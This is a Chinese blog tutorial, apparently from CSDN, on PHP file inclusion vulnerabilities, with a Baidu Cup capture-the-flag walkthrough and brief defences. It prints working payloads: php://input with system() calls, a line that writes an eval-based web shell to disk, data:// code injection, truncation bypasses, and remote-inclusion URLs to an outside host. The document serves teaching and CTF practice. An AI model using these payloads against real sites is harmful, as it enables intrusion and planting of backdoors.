文件操作之文件包含解析

0x00 漏洞产生原因

文件包含解析漏洞,往往会造成网站的信息泄露,执行命令等,原因是因为在网站中间件的配置文件例如php.ini里面的函数造成,漏洞的存在要保证一下两个函数处于开启状态

allow_url_fopen = On:
通俗来讲,allow_url_fopen函数是允许http://和ftp://将url中当作文件处理,

allow_url_include = Off:
allow_url_include是允许include/require打开URL也将其组为文件处理,

include函数:
Include()函数可以获取指定的文件中的所有文本,并把文本拷贝到使用include()函数的文件中。当包含遇到错误,如包含文件不存在时,include()函数会生成警告,但是脚本继续执行。

require函数:
Require()函数同样接受所有的文本文件,并且也将文件复制到使用函数的文件中,但是当此函数遇到错误时,如被包含文件不存在,require()函数会爆出错误,并且脚本停止执行。

文件包含的分类: 本地包含:127.0.0.1/?filename=…/…/…/1.txt (当作php执行) 远程包含:危害更大:127.0.0.1/?filename=http://www.xxx.com/1.txt)

简单绕过: %00截断:条件:magic_quotes_gpc = Off php版本<5.3.4 filename=…/…/…/www.txt%00 长度截断:条件:windows,点号需要长于256;linux 长于4096
http://127.0.0.1:8080/include.php?filename=http://www.kxsy.work/readme.txt
http://127.0.0.1:8080/include.php?filename=http://www.kxsy.work/readme.txt%20 http://127.0.0.1:8080/include.php?filename=http://www.kxsy.work/readme.txt%23 http://127.0.0.1:8080/include.php?filename=http://www.kxsy.work/readme.txt?

0x01 文件包含解析漏洞-百度杯-CTF案例

> 首先介绍文件包含协议流玩法:

> #https://www.cnblogs.com/endust/p/11804767.html http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64-encode/resource=1.txt
> http://127.0.0.1:8080/include.php?filename=php://input Post:<?php system('ver')?> 
> <?PHP fputs(fopen('s.php','w'),'<?php @eval($_POST[cmd])?>');?>
> http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
> http://127.0.0.1:8080/include.php?filename=data://text/plain,<?php%20phpinfo();?>

题目页面:
页面
发现path传参,通过get传参不行,需要以post方式传参,这里利用上面协议流filename=php://input Post:<?php system('ls')?> 漏洞尝试 发现可疑文件
可疑文件
利用漏洞读取函数获取flag
发现flag

0x02 漏洞防范

1.固定后缀
2.固定文件
3.部署WAF产品

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

告白热

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值